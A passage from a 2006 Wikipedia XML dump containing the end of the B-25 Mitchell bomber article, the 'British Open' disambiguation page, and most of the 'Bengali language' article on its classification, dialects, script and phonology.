*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-12.htm B-25J]'''&amp;mdash;The last production model of the B-25, often called a cross between the B-25C and the B-25H.  It had a transparent nose, but many of the delivered planes were modified to have a solid nose.  Most of its 14-18 machine guns were forward-facing for strafing missions.  316 were delivered to the [[Royal Air Force]] as the '''Mitchell III'''.  (&amp;times;4318)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-13.htm TB-25]'''&amp;mdash;A trainer variant; most models of the B-25 were used at some point as training aircraft.
**'''TB-25D'''&amp;mdash;Originally designated AT-24A (Advanced Trainer, Model 24, Version A).  Trainer modification of B-25D.  60 AT-24s were built in total.
**'''TB-25G'''&amp;mdash;Originally designated AT-24B.  Trainer modification of B-25G.  60 AT-24s were built in total.
**'''TB-25C'''&amp;mdash;Originally designated AT-24C.  Trainer modification of B-25C.  60 AT-24s were built in total.
**'''TB-25J'''&amp;mdash;Originally designated AT-24D.  Trainer modification of B-25J.  60 AT-24s were built in total, and another 600 B-25Js were modified after the war.
**'''TB-25K'''&amp;mdash;Hughes E1 fire-control radar trainer (Hughes).  (&amp;times;117)
**'''TB-25L'''&amp;mdash;Hayes pilot-trainer conversion.  (&amp;times;90)
**'''TB-25M'''&amp;mdash;Hughes E5 fire-control radar trainer.  (&amp;times;40)
**'''TB-25N'''&amp;mdash;Hayes pilot-trainer conversion.  (&amp;times;47)
*'''[http://www.wpafb.af.mil/museum/research/bombers/b3-14.htm VB-25J]'''&amp;mdash;A number of B-25s were converted for use as staff and VIP transports.  [[Henry H. Arnold]] and [[Dwight D. Eisenhower]] both used converted B-25Js as their personal transports.
*'''CB-25J''' - Utility transport version.
*'''ZB-25C''' - 
*'''ZB-25D''' -
*'''ZXB-25E''' -
*'''PBJ-1C''' - Similar to the B-25C for the US Navy.  Often fitted with airborne search radar and used in the anti-submarine role.
*'''PBJ-1D''' - Similar to the B-25D for the US Navy.  Differed in having on a single .50 caliber M2 in the tail turret and beam gun positions similar to the B-25H.  Often fitted with airborne search radar and used in the anti-submarine role.
*'''PBJ-1G''' - US Navy designation for the B-25G
*'''PBJ-1H''' - US Navy designation for the B-25H
*'''PBJ-1J''' - US Navy designation for the B-25J-NC (Blocks -1 through -35) with improvements in radio and other equipment.  Often fitted with &quot;package guns&quot; and wingtip search radar for the anti-shipping/anti-submarine role.

==Operators==
* Australia, Bolivia, Brazil, Canada, China, Chile, Colombia, Cuba, France, Indonesia, Italy, Mexico, Netherlands, Netherlands East Indies, Peru, Soviet Union, Uruguay, United Kingdom, United States (Army Air Corps, Army Air Force, Air Force, Marine Corps, Navy), Venezuela,

== Specifications (B-25J) ==
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&lt;!-- if you do not understand how to use this template, please ask at [[Wikipedia talk:WikiProject Aircraft]] --&gt;
&lt;!-- please answer the following questions --&gt;
|plane or copter?=plane
|jet or prop?=prop
&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;
|crew=6 (pilot, co-pilot, navigator/bombardier/gunner, turret gunner/engineer, radio operator/waist gunner, tail gunner. No co-pilot on H variant.)
|length main=52 ft 11 in
|length alt=16.1 m
|span main=67 ft 6 in
|span alt=20.6 m
|height main=17 ft 7 in
|height alt=4.8 m
|area main=610 ft&amp;sup2;
|area alt=57 m&amp;sup2;
|empty weight main=21,120 lb
|empty weight alt=9,580 kg
|loaded weight main=33,510 lb
|loaded weight alt=15,200 kg
|max takeoff weight main=41,800 lb
|max takeoff weight alt=19,000 kg
|engine (prop)=[[Wright R-2600]] Cyclone
|type of prop=[[radial engine]]s
|number of props=2
|power main=1,850 hp
|power alt=1,380 kW
|max speed main=275 mph
|max speed alt=442 km/h
|cruise speed main=230 mph
|cruise speed alt=370 km/h
|range main=1,350 mi operational, 2,700 mi ferry
|range alt=2,170 km / 4,300 km
|ceiling main=25,000 ft
|ceiling alt=7,600 m
|climb rate main=790 ft/min
|climb rate alt=4 m/s
|loading main=55 lb/ft&amp;sup2;
|loading alt=270 kg/m&amp;sup2;
|power/mass main=0.110 hp/lb
|power/mass alt=0.182 kW/kg
|armament=
* 12&amp;times; .50-calibre [[machine gun]]s
* 3,200 lb (1,800 kg) bombs
}}

== References ==
* {{cite book|author=Green, William|title=Famous Bombers of the Second World War|publisher=New York, NY: Doubleday &amp; Company|year=1975|id=ISBN 0385124678}}
* {{cite book|author=Johnsen, Frederick A.|title=North American B-25 Mitchell|publisher=Stillwater, Minnesota: Voyageur Press|year=1997|id=ISBN 0933424779}}
* Higham R, Williams C. (eds.) (1975) ''Flying combat aircraft of USAAF-USAF (Vol.1).'' Air Force Historical Foundation. ISBN 081380325
* Higham R, Williams C. (eds.) (1978) ''Flying combat aircraft of USAAF-USAF (Vol.2).'' Air Force Historical Foundation. ISBN 0813803756 (v.2)
* {{cite book|author=Scutts, Jerry|title=North American B-25 Mitchell|publisher=Ramsbury, Marlborough, Wiltshire, United Kingdom: Crowood Press|year=2001|id=ISBN 1861263945)}}

== Museum displays ==
*[[Mid-Atlantic Air Museum]], [[Reading, Pennsylvania]]
::B-25J &quot;Briefing Time&quot;

== External links ==
* [http://www.b25.net Detailed historical overview]
* [http://www.fantasyofflight.com/aircraftpages/b25.htm Fantasy of Flight's B25]

== Related Content ==
{{aircontent|
|related=
* [[XB-28 Dragon]]

|similar aircraft=
* [[B-26 Marauder]]

|sequence=

[[B-18 Bolo#Variants and Design Stages|XB-22]] -
[[B-23]] -
[[B-24]] -
'''B-25''' -
[[B-26 Marauder|B-26]] -
[[Martin XB-27|XB-27]] -
[[XB-28 Dragon|XB-28]]

|see also=
* [[Fantasy of Flight]]

}}

[[Category:U.S. bomber aircraft 1930-1939|B-25 Mitchell]]

[[de:North American B-25]]
[[es:B-25 Mitchell]]
[[fr:North American B-25 Mitchell]]
[[it:North American B-25 Mitchell]]
[[pl:North American B-25 Mitchell]]
[[zh:B-25米切尔型轰炸机]]</text>
    </revision>
  </page>
  <page>
    <title>British Open</title>
    <id>4219</id>
    <revision>
      <id>41732858</id>
      <timestamp>2006-03-01T10:22:03Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">The '''British Open''' is the title or popular name of a number of sporting tournaments:

* [[The Open Championship]], one of [[golf]]'s [[major championships]] is often referred to as the [[British Open]], especially in the [[United States]].
* The [[Wimbledon Championships]] are a Grand Slam [[tennis]] tournament held in the United Kingdom.
* The [[British Open Squash Championships]].
* [[British Open (snooker)|British Open snooker]].
* [[British Open (ballroom)]]

{{disambig}}

[[no:British Open]]</text>
    </revision>
  </page>
  <page>
    <title>Bengali language</title>
    <id>4220</id>
    <revision>
      <id>42005582</id>
      <timestamp>2006-03-03T04:18:07Z</timestamp>
      <contributor>
        <username>SameerKhan</username>
        <id>334377</id>
      </contributor>
      <minor />
      <comment>/* Vocabulary */</comment>
      <text xml:space="preserve">{{dablink|This article is about the Bengali language. For the script, see [[Bengali script]]. For the ethnic group, see [[Bengali people]]}} 
{{Infobox Language
|name=Bengali
|nativename=বাংলা ''{{IAST|Bāṇlā}}''
|states=[[Bangladesh]], [[India]] and several others
|region=Eastern [[South Asia]]
|speakers=270 million
|rank=4 (native speakers) [http://www2.ignatius.edu/faculty/turner/languages.htm]
|familycolor=Indo-European
|fam2=[[Indo-Iranian languages|Indo-Iranian]]
|fam3=[[Indo-Aryan languages|Indic (Indo-Aryan)]]
|fam4=[[List of Eastern Indo-Aryan languages|Magadhan Prakrit]]
|fam5=[[Apabhramsa|Apabhramsa Avahattha]]
|fam6=Bengali-Assamese
|nation=[[Bangladesh]], [[India]], and Indian states of [[West Bengal]] and [[Tripura]] |agency=[[Bangla Academy]] (Bangladesh)&lt;br&gt;[[Paschimbanga Bangla Academy]] (West Bengal)
|iso1=bn|iso2=ben|iso3=ben|notice=Indic}}

'''Bengali''' or '''Bangla''' (বাংলা ''{{IAST|Bāṇlā}}'') is an [[Indo-Aryan languages|Indo-Aryan]] [[language]] of [[South Asia]] that evolved as a successor to the [[Sanskrit]], [[Pāli|Pali]], and [[Prakrit]] languages. ''Bengali'' is the [[English language|English]] word for the name of the language and for its speakers; in Bengali, the language itself is called ''Bangla'' (pronounced: {{IPA2|'baŋla}}), a term that now has greater currency in English. From this point forward, ''Bangla'' will be used to refer to the language.

With more than 200 million [[first language|native speakers]], it is the fourth or fifth [[List of languages by total speakers|most widely spoken language]] in the world (after [[Mandarin (linguistics)|Mandarin]], [[Spanish language|Spanish]], [[English language|English]] and [[Hindustani language|Hindustani (Hindi-Urdu)]]. It is also the fourth most spoken language in terms of native speakers [http://www2.ignatius.edu/faculty/turner/languages.htm]. Bangla is the second most commonly spoken language in India (after Hindi). Along with [[Assamese]], it is geographically the most eastern of the [[Indo-European languages]].

As a result of the [[Bengal renaissance]] in the 19th and 20th centuries, much of [[India|India's]] most famous literature, poetry, and lyrics are in Bangla; the works of [[Rabindranath Tagore]] (the first Asian to be awarded a [[Nobel Prize]]), for example, are in Bangla. Many of the reformist religious, philosophical, and political movements that began in that era were led by Bengalis.

==Classification and Related languages==
Bangla is an [[List_of_Eastern_Indo-Aryan_languages|Eastern]] [[Indo-Aryan languages|Indo-Aryan]] language of the [[Indo-European language family|Indo-European]] language family.

[[Assamese language|Assamese]], [[Oriya language|Oriya]], and [[Maithili language|Maithili]], three other languages belonging to the [[List_of_Eastern_Indo-Aryan_languages|Maghadan]] Branch of the [[Indo-Aryan languages|Indo-Aryan]] [[language family]], are very closely related to Bangla. Standard [[Assamese]], [[Oriya]], and Bangla are considered by some to be nearly [[Mutually intelligible languages|mutually intelligible]]; some local [[dialect|dialects]] of one language bear a striking resemblance to one or more dialects of the other two languages.

[[Sylheti language|Sylheti]], Chittagonian, and [[Chakma]] are some of the many languages that are often considered dialects of Bangla. Although these languages are mutually intelligible with neighboring dialects of Bangla, they would not be understood by a native speaker of Standard Bangla.

==Geographic distribution==
Bangla is native to the region of eastern [[South Asia]] known as [[Bengal]], which comprises [[Bangladesh]] and the [[India|Indian]] state of [[West Bengal]]. More than 98% of the total population of Bangladesh speak Bangla as a native language. It is the official language in Bangladesh and one of the official languages in the Indian states of West Bengal and Tripura.  There are significant Bangla-speaking communities in the Indian states of [[Assam]] and [[Tripura]] and in immigrant populations in the [[Western world| West]] and the [[Middle East]]. The national anthems of both [[Jana Gana Mana|India]] and [[Amar Shonar Bangla|Bangladesh]] are written in Bangla. 

===Official status===
Bangla is the official language of Bangladesh and one of the 23 regional languages recognized by the Union of India. It is the official language of the state of West Bengal and the co-official language of the state of Tripura.

===Spoken and literary variants===
Like many languages of South Asia, Bangla exhibits a strong case of [[diglossia]] between the formal, written language and the vernacular, spoken language. The two standard written forms of Bangla, '''Shadhubhasha''' and '''Choltibhasha''', stand in sharp contrast with the spoken forms of Bangla, often referred to as '''Ancholik Bangla''' &quot;Regional Bangla&quot;.

Shadhubhasha (literally, &quot;language of sages&quot;) adheres to an archaic form of Medieval Bangla and to a heavily Sanskrit-like vocabulary.  Songs like the Indian national anthem ''Jôno Gôno Môno'' (by [[Rabindranath Tagore]]) and the national song of India ''Bônde Matôrom'' (by Bankim Chandra Chattopadhyay (Chatterjee)) were actually composed in highly refined Shadhubhasha. However, Shadhubhasha is not spoken in commonplace settings and confined to literary and formal contexts.

Choltibhasha (literally, &quot;the current or running language&quot;) comprises the standard pronunciation of Bangla and thus serves as the basis for the [[orthography]] of most Bangla writing today. It is modeled on the form of the dialect spoken in the Shantipur region in [[Nadia district]], [[West Bengal]] &lt;ref name=&quot;morshed&quot;&gt; Morshed, Abul Kalam Manjoor, [http://banglapedia.search.com.bd/HT/D_0212.htm Article on Bangla dialects], [[Banglapedia]]&lt;/ref&gt; and districts bordering on the lower reaches of the [[Hooghly River]]. However, a variety of regional dialects is to be found.

===Dialects===
While the standard form of Bangla does not show much variation across the Bengali-speaking areas of South Asia, the regional variants of Bangla are vastly dissimilar from one another. Spoken Bangla stretches across what is called a [[dialect continuum]], where neighboring dialects tend to be very similar, while speakers of dialects from opposite ends of the continuum would not be able to understand one another.

Bangla is typically divided into eight major dialect groups: Western, Southwestern, West-Central, Northern, Bahe, Eastern, Ganda, and Vanga.

Kharia Thar and Mal Paharia are closely related to Western Bangla dialects, but are typically classified as separate languages. Similarly, Rajbangshi and Hajong are considered separate languages, although they are very similar to Northern Bangla dialects. [[Sylheti language|Sylheti]], closely related to Eastern Bangla, is often considered a separate language. Chittagonian and [[Chakma]] are heavily influenced by the neighboring [[Tibeto-Burman languages]], and are also typically considered separate languages from Bangla.

During standardization of Bangla in the late [[19th century|19th]] and early [[20th century]], the cultural elite were mostly from West Bengal, especially [[Kolkata]] (formerly [[Calcutta]]). To this day, the accepted standard language in both West Bengal and [[Bangladesh]] is based on the West-Central dialect of the 19th century Kolkata elite. This has helped create a state of diglossia in most of Bangladesh, with many speakers familiar with or fluent in both the regional dialect of their community and the standard West-Central dialect used in the media.

==Writing system==
''Main article: [[Bengali script]]''

Bangla is written in the Bangla [[abugida|alphasyllabary]] (also called ''syllabic alphabet'' or ''abugida''), a [[Brahmic family|Brahmic]] script similar to the [[Devanagari]] alphasyllabary used for [[Hindi]], [[Sanskrit]], and many other [[Indo-Aryan languages|Indic]] languages. The Bangla alphasyllabary is a [[cursive]] script with 12 [[vowel]] characters and 52 [[consonant]] characters. As in all alphasyllabaries, every consonant in the Bangla script can come with what is called an &quot;embedded&quot; or &quot;inherent&quot; vowel sound. For example, the simple letter ম can represent the consonant ['''m'''] in a word like কম [kɔ'''m'''] &quot;less&quot;. However, in another word, the same letter ম can represent the sequences ['''mɔ'''] or ['''mo'''], as in মত ['''mɔ'''t̪] &quot;opinion&quot; and মন ['''mo'''n] &quot;mind&quot;, respectively, with no added symbol for the vowels ['''ɔ'''] or ['''o''']. If the consonant sound is followed by some other vowel sound in the pronunciation, this can be written by writing a variety of vowel diacritics above, below, before, after, or around the consonant they belong to. Vowels not associated with a consonant (for example, vowels at the beginning of a word) are written with separate symbols. To emphatically indicate that a consonant is not pronounced with the embedded vowel, an extra [[diacritic]] may be added below the consonant.  [[consonant cluster|Consonant clusters]] are typically indicated by [[Ligature (typography)|ligating]] two or more consonant symbols.

The Bangla spelling system is based on a much older version of the language, and thus does not take into acount some sound mergers that have occurred in the spoken language. For example, the alphabet has two letters for the sound [dʒ] and three for the sound [ʃ]. Conversely, a number of letters now have more than one pronunciation; the letter এ can represent either the low vowel [æ] or the high-mid vowel [e]. Furthermore, many letters and diacritics have become &quot;silent letters&quot; in the spoken language. The word for &quot;health&quot;, for example, is written 'swasthyô', but pronounced [ʃast̪ʰo]. With these minor inconsistencies and redundancies, the Bangla script cannot be described as entirely [[phonemic orthography|phonemic]].

This same script, with a few small modifications, is also used for writing [[Assamese]]. Other related languages in the region also make use of the Bangla alphabet. [[Meithei|Meithei (Manipuri)]], a [[Sino-Tibetan languages|Sino-Tibetan]] language used in the Indian state of [[Manipur]], was written in the Bangla alphasyllabary for centuries, until the 1980s, when Meetei Mayek (the Meithei alphasyllabary) returned to daily usage. For centuries, the [[Sylheti]] language used a different script, based on the Devanagari alphasyllabary. This script, called Sylheti Nagori, has now fallen out of use, as most speakers of Sylheti have adopted the Bangla script.

==Sounds==
The [[phoneme|phonemic]] inventory of Bangla consists of 29 consonants and 14 vowels, including the seven [[nasalization|nasalized vowels]]. An approximate [[phonetics|phonetic]] scheme is set out below in [[International Phonetic Alphabet|IPA]].

{| style=&quot;align:center; width:60%;&quot; 
|- valign=&quot;top&quot;
|
{|class=&quot;wikitable&quot;
|+Vowels
!&amp;nbsp;||Front||Central||Back
|-style=&quot;text-align:center&quot;
!High
|{{IPA|i}}||&amp;nbsp;||{{IPA|u}}
|-style=&quot;text-align:center&quot;
!High-mid
|{{IPA|e}}||&amp;nbsp;||{{IPA|o}}
|-style=&quot;text-align:center&quot;
!Low-mid
|{{IPA|æ}}||&amp;nbsp;||{{IPA|ɔ}}
|-style=&quot;text-align:center&quot;
!Low
|&amp;nbsp;||{{IPA|a}}||&amp;nbsp;
|}
|
{|class=&quot;wikitable&quot;
|+Consonants
!&amp;nbsp;||Labial||Dental||Apico-&lt;br /&gt;Alveolar||Apico-&lt;br /&gt;Postalveolar||Lamino-&lt;br /&gt;Postalveolar||Velar||Glottal
|-style=&quot;text-align:center&quot;
!Voiceless&lt;br&gt;stops
|{{IPA|p}}&lt;br/&gt;{{IPA|p&amp;#688;}}||{{IPA|t&amp;#810;}}&lt;br/&gt;{{IPA|t&amp;#810;&amp;#688;}}||&amp;nbsp;||{{IPA|&amp;#648;}}&lt;br/&gt;{{IPA|&amp;#648;&amp;#688;}}||{{IPA|&amp;#679;}}&lt;br/&gt;{{IPA|&amp;#679;&amp;#688;}}|| {{IPA|k}}&lt;br/&gt;{{IPA|k&amp;#688;}}||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Voiced&lt;br&gt;stops
|{{IPA|b}}&lt;br/&gt;{{IPA|b&amp;#688;}}||{{IPA|d&amp;#810;}}&lt;br/&gt;{{IPA|d&amp;#810;&amp;#688;}}||&amp;nbsp;||{{IPA|&amp;#598;}}&lt;br/&gt;{{IPA|&amp;#598;&amp;#688;}}||{{IPA|&amp;#676;}}&lt;br/&gt;{{IPA|&amp;#676;&amp;#688;}}||{{IPA|ɡ}}&lt;br/&gt;{{IPA|ɡ&amp;#688;}}||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Voiceless&lt;br&gt;fricatives
|&amp;nbsp;||&amp;nbsp;||{{IPA|s}}||&amp;nbsp;||{{IPA|&amp;#643;}}||&amp;nbsp;||{{IPA|h}}
|-style=&quot;text-align:center&quot;
!Nasals
|{{IPA|m}}||&amp;nbsp;||{{IPA|n}}||&amp;nbsp;||&amp;nbsp;||{{IPA|&amp;#331;}}||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Liquids
|&amp;nbsp;||&amp;nbsp;||{{IPA|l}}, {{IPA|r}}|||{{IPA|&amp;#637;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|}

|}

== Phonology ==
For the purposes of consistent [[transliteration]], the following [[Romanization]] scheme is used throughout this article along with other Wikipedia articles related to the Bengali language. The tables below correspond to the [[International Phonetic Alphabet|IPA]] transcriptions used above.

{| style=&quot;align:center; width:60%;&quot; 
|- valign=&quot;top&quot;
|
{|class=&quot;wikitable&quot;
|+'''Vowels'''
!&amp;nbsp;||Front||Central||Back
|-style=&quot;text-align:center&quot;
!High
|i||&amp;nbsp;||u
|-style=&quot;text-align:center&quot;
!High-mid
|e||&amp;nbsp;||o
|-style=&quot;text-align:center&quot;
!Low-mid
|ê||&amp;nbsp;||ô
|-style=&quot;text-align:center&quot;
!Low
|&amp;nbsp;||a||&amp;nbsp;
|}
|
{|class=&quot;wikitable&quot;
|+'''Consonants'''
!&amp;nbsp;||Labial||Dental||Apico-&lt;br /&gt;Alveolar||Apico-&lt;br /&gt;Postalveolar||Lamino-&lt;br /&gt;Postalveolar||Velar||Glottal
|-style=&quot;text-align:center&quot;
!Voiceless&lt;br&gt;stops
|p&lt;br/&gt;ph||t&lt;br/&gt;th||&amp;nbsp;||ţ&lt;br/&gt;ţh||ch&lt;br/&gt;chh||k&lt;br/&gt;kh||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Voiced&lt;br&gt;stops
|b&lt;br/&gt;bh||d&lt;br/&gt;dh||&amp;nbsp;||đ&lt;br/&gt;đh||j&lt;br/&gt;jh||g&lt;br/&gt;gh||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Voiceless&lt;br&gt;fricatives
|&amp;nbsp;||&amp;nbsp;||s||&amp;nbsp;||sh||&amp;nbsp;||h
|-style=&quot;text-align:center&quot;
!Nasals
|m||&amp;nbsp;||n||&amp;nbsp;||&amp;nbsp;||ng||&amp;nbsp;
|-style=&quot;text-align:center&quot;
!Liquids
|&amp;nbsp;||&amp;nbsp;||l, r||ŗ||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|}

|}

=== Stress ===
Bangla words are virtually all [[trochee|trochaic]]; the primary [[Stress (linguistics)|stress]] falls on the initial [[syllable]] of the word, while secondary stress often falls on all odd-numbered syllables thereafter, giving strings such as ['''shô'''-ho-'''jo'''-gi-'''ta'''] &quot;cooperation&quot;, where the '''boldface''' represents primary and secondary stress. The first syllable carries the greatest stress, with the third carrying a somewhat weaker stress, and all following odd-numbered syllables carrying very weak stress.

Adding [[prefix|prefixes]] to a word typically shifts the stress to the left; for example, while the word ['''shob'''-bho] &quot;civilized&quot; carries the primary stress on the first syllable ['''shob'''], adding the [[negation|negative]] prefix [ô-] creates ['''ô'''-shob-bho] &quot;uncivilized&quot;, where the primary stress is now on the newly-added first syllable ['''ô'''].

=== Intonation ===
In a simple [[declarative sentence]], most words and/or phrases in Bangla carry a rising [[Tone (linguistics)|tone]], with the exception of the last word in the sentence, which only carries a low tone. This [[intonation|intonational]] pattern creates a musical tone to the typical Bangla sentence, with low and high tones alternating until the final drop in pitch to mark the end of the sentence.

In sentences involving [[Focus|focused]] words and/or phrases, the rising tones only last until the focused word; all following words carry a low tone. This intonation pattern extends to [[wh-questions]], as wh-words are normally considered to be focused. In [[yes-no questions]], the rising tones may be more exaggerated, and most importantly, the final syllable of the final word in the sentence takes a high falling tone instead of a flat low tone.

=== Vowel Length ===
[[Vowel length]] is not contrastive in Bangla; all else equal, there is no meaningful distinction between a &quot;[[short vowel]]&quot; and a &quot;[[long vowel]]&quot;, unlike the situation in many other Indic languages. However, when [[morpheme]] boundaries come into play, vowel length can sometimes distinguish otherwise [[homophonous]] words. This is due to the fact that [[open syllable|open]] [[monosyllabic|monosyllables]] (i.e. words that are made up of only one syllable, with that syllable ending in the main vowel and not a consonant) have somewhat longer vowels than other syllable types. For example, the vowel in '''cha:''' &quot;tea&quot; is somewhat longer than the first vowel in '''chaţa''' &quot;licking&quot;, as '''cha:''' is a word with only one syllable, and no final consonant. (The long vowel is marked with a colon : in these examples.) The [[suffix]] '''ţa''' &quot;the&quot; can be added to '''cha:''' to form '''cha:ţa''' &quot;the tea&quot;. Even when another morpheme is attached to '''cha:''', the long vowel is preserved. Knowing this fact, some interesting cases of apparent vowel length distinction can be found.

Furthermore, using a form of [[reduplication]] called &quot;echo reduplication&quot;, the long vowel in '''cha:''' can be copied into the reduplicant '''ţa:''', giving '''cha:ţa:''' &quot;tea and all that comes with it&quot;. Thus, in addition to '''cha:ţa''' &quot;the tea&quot; (long first vowel) and '''chaţa''' &quot;licking&quot; (no long vowels), we have '''cha:ţa:''' &quot;tea and all that comes with it&quot; (both long vowels).

=== Consonant Clusters ===
Native Bangla (''tôdbhôb'') words do not allow initial [[consonant cluster|consonant clusters]]; the maximum syllabic structure is CVC (i.e. one vowel flanked by a consonant on each side). Many speakers of Bangla restrict their phonology to this pattern, even when using Sanskrit or English borrowings, such as ''geram'' (CV.CVC) for ''gram'' (CCVC) &quot;village&quot; or ''iskul'' (VC.CVC) for ''skul'' (CCVC) &quot;school&quot;.

Sanskrit (''tôtshôm'') words borrowed into Bangla, however, possess a wide range of clusters, expanding the maximum syllable structure to CCCVC. Some of these clusters, such as the ''mr'' in ''mrittu'' &quot;death&quot; or the ''sp'' in ''spôshţo'' &quot;clear&quot;, have become extremely common, and can be considered legal consonant clusters in Bangla. Other commonly-heard clusters from Sanskrit include ''pr'' (''proshno'' &quot;question&quot;), ''br'' (''brishţi'' &quot;rain&quot;), ''bhr'' (''bhromon'' &quot;travel&quot;), ''tr'' (''trish'' &quot;thirty&quot;), ''dr'' (''druto'' &quot;rapid&quot;), ''kr'' (''krimi'' &quot;worm&quot;), ''gr'' (''gram'' &quot;village&quot;), ''sr'' (''sromik'' &quot;worker&quot;), ''str'' (''stri'' &quot;woman&quot;), ''sth'' (''sthanio'' &quot;local&quot;), and ''sn'' (''snan'' &quot;bath&quot;).

Less commonly-heard clusters from Sanskrit include ''dhr'' (''dhrubo'' &quot;fixed, permanent&quot;), ''ghr'' (''ghrina'' &quot;disgust&quot;), ''ml'' (''mlan'' &quot;melancholy&quot;), ''nr'' (''nritto'' &quot;dance&quot;), ''sph'' (''sphurti'' &quot;delight&quot;), ''st'' (''stômbho'' &quot;tower&quot;), and ''skh'' (''skhôlon'' &quot;slip&quot;).

English and other foreign (''bideshi'') borrowings add even more cluster types into the Bangla inventory, further increasing the syllable capacity to CCCVCCCC, as commonly-used loanwords such as ''ţren'' &quot;train&quot; and ''glash'' &quot;glass&quot; are now even included in leading Bangla dictionaries. Clusters from English borrowings include ''bl'' (''blauz'' &quot;blouse&quot;), ''thr'' (''thru'' or ''thrute'' &quot;through, via&quot;), ''ţr'' (''ţrak'' &quot;truck&quot;), ''đr'' (''đraivar'' &quot;driver&quot;), ''fr'' (''frans'' &quot;France&quot;), ''fl'' (''flaiţ'' &quot;flight&quot;), ''spl'' (''splêsh'' &quot;splash&quot;), ''sţ'' (''sţeshon'' &quot;station&quot;), ''sţr'' (''sţreiţ'' &quot;straight&quot;), ''skr'' (''skru'' &quot;screw&quot;), and ''sm'' (''smarţ'' &quot;smart&quot;). Furthermore, some clusters occasionally found in Sanskrit borrowings are now more commonly heard in English borrowings. These clusters include ''pl'' (''plen'' &quot;plane&quot;), ''kl'' (''klash'' &quot;class&quot;), ''gl'' (''glash'' &quot;glass&quot;), ''sl'' (''sloli'' &quot;slowly&quot;), ''spr'' (''spring'' &quot;spring&quot;), and ''sk'' (''skarţ'' &quot;skirt&quot;).

Most final consonant clusters were borrowed into Bangla from English, as in ''lifţ'' &quot;lift, elevator&quot; and ''bêņk'' &quot;bank&quot;. However, final clusters do exist in some native Bangla words, although rarely in standard pronunciation. One example of a final cluster in a standard Bangla word would be ''gônj'', which is found in names of hundreds of cities and towns across Bengal, including ''Nôbabgônj'' and ''Manikgônj''. Some nonstandard varieties of Bangla make use of final clusters quite often. For example, in some Purbo (eastern) dialects, final consonant clusters consisting of a nasal and its corresponding oral stop are common, as in ''chand'' &quot;moon&quot;. The Standard Bangla equivalent of ''chand'' would be ''chñad'', with a nasalized vowel instead of the final cluster.

==Grammar==
''Main article: [[Bengali grammar]]''

There is no [[gender (grammar)|grammatical gender]] in Bangla. Adjectival [[Morphology (linguistics)|morphology]] is light, while nouns and verbs are highly [[inflection|inflected]]. 

===Nouns===
Nouns and pronouns are inflected for [[declension|case]], including [[Nominative case|nominative]], [[Accusative case|objective]], [[genitive case|genitive (possessive)]], and [[locative case|locative]]. The case marking pattern for each noun being inflected depends on the noun's degree of [[animacy]].

&lt;TABLE border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;CAPTION&gt;'''Singular Noun Inflection'''&lt;/CAPTION&gt;
&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt; ''Animate'' &lt;/DIV&gt;&lt;/TD&gt; 
&lt;TD&gt;&lt;DIV align=center&gt; ''Inanimate'' &lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Nominative'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-ţa &lt;br&gt; the student&lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-ţa &lt;br&gt; the shoe&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Objective'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-ţa-'''ke''' &lt;br&gt; the student&lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-ţa &lt;br&gt; the shoe&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Genitive'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-ţa-'''r''' &lt;br&gt; the student's&lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-ţa-'''r''' &lt;br&gt; the shoe's&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Locative'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt; - &lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-ţa-'''(t)e''' &lt;br&gt; on/in the shoe&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;/TABLE&gt;

When a [[article (grammar)|definite article]] such as ''-ţa'' (singular) or ''-gula'' (plural) is added, as in the table above, nouns are also inflected for [[Grammatical number|number]]. Plural versions of the previous table can be found below:

&lt;TABLE border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;&gt;
&lt;CAPTION&gt;'''Plural Noun Inflection'''&lt;/CAPTION&gt;
&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt; ''Animate'' &lt;/DIV&gt;&lt;/TD&gt; 
&lt;TD&gt;&lt;DIV align=center&gt; ''Inanimate'' &lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Nominative'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-'''ra''' &lt;br&gt; the students&lt;/DIV&gt;&lt;/TD&gt;
